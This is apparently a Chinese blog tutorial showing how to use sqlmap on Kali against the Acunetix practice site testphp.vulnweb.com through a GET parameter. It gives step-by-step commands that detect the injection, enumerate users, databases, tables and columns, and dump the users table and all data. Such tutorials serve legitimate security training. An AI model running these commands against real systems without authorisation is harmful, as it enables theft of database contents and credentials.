大家好,今天做了SQL注入漏洞的实验。工具是大家熟悉的Sqlmap,Sqlmap是一款开源的SQL注入漏洞检测与利用神器,没有之一。测试平台是漏洞扫描工具AWVS的测试平台:http://testphp.vulnweb.com,kali系统。

先简单介绍一下Sqlmap工具,这款工具堪称神器,因为支持众多数据库:MySQL,Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB, HSQLDB and Informix。支持的参数位置广:GET,POST or Cookie parameters or via the HTTP User-Agent request header。下面介绍一下操作步骤:

一、GET请求方式:

1、找到有数据库交互的功能页面。进入测试平台,在地址栏输入如下网址:http://testphp.vulnweb.com/artists.php?artist=1。在url参数artist=1后加分号“

KALI下Sqlmap工具使用方法之GET方法篇:_sql

2、 基本判断这个页面存在数据库注入漏洞。利用这个注入点,根据sqlmap语法,执行这样的命令:

┌──(root💀kali)-[~]
└─#  sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1"

KALI下Sqlmap工具使用方法之GET方法篇:_php_02

3、根据结果显示,GET参数artist is vulnerable(artist是可以注入的)。进一步测试,看看哪些用户,在命令行后加 --users (注意,有空格)。

┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --users

结果显示如图:

KALI下Sqlmap工具使用方法之GET方法篇:_sql_03

4、也有可以加空格--dbs,看看有哪些数据库。

┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs

结果如图:

KALI下Sqlmap工具使用方法之GET方法篇:_后端_04

 5、接下来查看当前用户和当前数据库,加入 --current-user --current-db。命令如下:

┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --current-user --current-db

结果如图:

KALI下Sqlmap工具使用方法之GET方法篇:_数据库_05

6、接下来读取数据的表信息,命令行后加空格--tables -D "数据库名"

┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --tables -D "acuart"

结果如图:

KALI下Sqlmap工具使用方法之GET方法篇:_sql_06

7、 查看某个表的内容(以users为例),首先读取表的字段信息,命令行如下:

┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --columns -T "users" -D "acuart"

结果如图:

KALI下Sqlmap工具使用方法之GET方法篇:_php_07

8、 如果查看这张表有多少条数据,命令行如下:

┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --count -T "users" -D "acuart"

结果如图:

KALI下Sqlmap工具使用方法之GET方法篇:_网络安全_08

9、 那么要读取表达数据内容,执行如下命令行:

┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -T "users" -D "acuart"

 结果如图:

KALI下Sqlmap工具使用方法之GET方法篇:_php_09

备注:所有的操作数据都会同步保存在本地的一个文件夹中:#/root/.local/share/sqlmap/output/。

10、如果想读取某条至某条记录,此例读第2条到第4条记录。命令如下:

┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -T "users" -D "acuart" --start 2 --stop 4

结果如图:

KALI下Sqlmap工具使用方法之GET方法篇:_php_10

11、 如果读取数据库所有表,命令如下:

┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump-all -T "users" -D "acuart"

结果如图:

KALI下Sqlmap工具使用方法之GET方法篇:_sql_11

 以上操作是Sqlmap的注入数据库漏洞的部分操作方法。希望对您有所启发和帮助,感谢分享!下期做针对post请求的操作方法!